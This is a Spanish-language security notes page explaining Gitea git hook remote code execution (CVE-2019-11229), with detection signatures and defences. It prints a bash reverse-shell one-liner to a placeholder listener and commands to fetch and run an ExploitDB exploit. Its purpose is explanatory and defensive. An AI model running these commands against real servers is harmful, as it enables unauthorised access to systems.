the_open_door
café
ESEN
← Volver al índice

Gitea git hook RCE (CVE-2019-11229)

Git soporta hooks: scripts que se ejecutan automáticamente en momentos del ciclo de vida de un repositorio. Un hook post-receive corre en el servidor justo después de recibir un push. Las plataformas de git self-hosted (Gitea, Gogs...) permiten definir estos hooks desde la interfaz web, y si un usuario con pocos privilegios puede editarlos, dispone de ejecución de comandos con la identidad del proceso del servicio.

En Gitea 1.7.5 (CVE-2019-11229) el flujo es: registrar o usar una cuenta válida, crear un repositorio, editar su hook post-receive con un comando, y disparar un push que active el hook. El comando corre como el usuario que ejecuta Gitea (frecuentemente git o una cuenta de servicio).

# El hook post-receive (Settings > Git Hooks) contiene, por ejemplo:
#!/bin/bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
searchsploit -m 49383                                  # traer el exploit que automatiza login+repo+hook+push
python3 49383.py -u <user> -p <pass> -i <ip> --port 3000 -L <lhost> -P <lport>

Existen exploits que automatizan login, creación del repo, inyección del hook y push (por ejemplo el 49383.py de ExploitDB), donde solo hay que ajustar credenciales, URL y el comando a ejecutar.

Matices. El requisito es autenticación (una cuenta cualquiera, a menudo con registro abierto). El acceso obtenido es el del usuario del servicio, así que casi siempre encadena con una escalada local. La técnica del hook malicioso reaparece en otros contextos: un cron que clona un repo con un hook inyectado logra lo mismo desde el lado del cliente.

Cómo detectarlo. La firma en el log de Gitea es una cuenta autenticada editando un git hook (POST a .../settings/hooks/git/post-receive), acción que casi ningún usuario legítimo realiza, seguida de un push al mismo repositorio. En el host, la confirmación es el proceso de Gitea (git) lanzando sh/bash/nc como hijo del post-receive justo tras el push (auditd/Sysmon for Linux sobre execve con ppid del servicio), y una conexión saliente. La modificación de un fichero hooks/post-receive dentro del árbol de repositorios (FIM) es el indicador en disco.

Defensa. Actualizar Gitea/Gogs; restringir quién puede crear repositorios y editar hooks; ejecutar el servicio con una cuenta sin privilegios y aislada.

Máquinas donde se aplica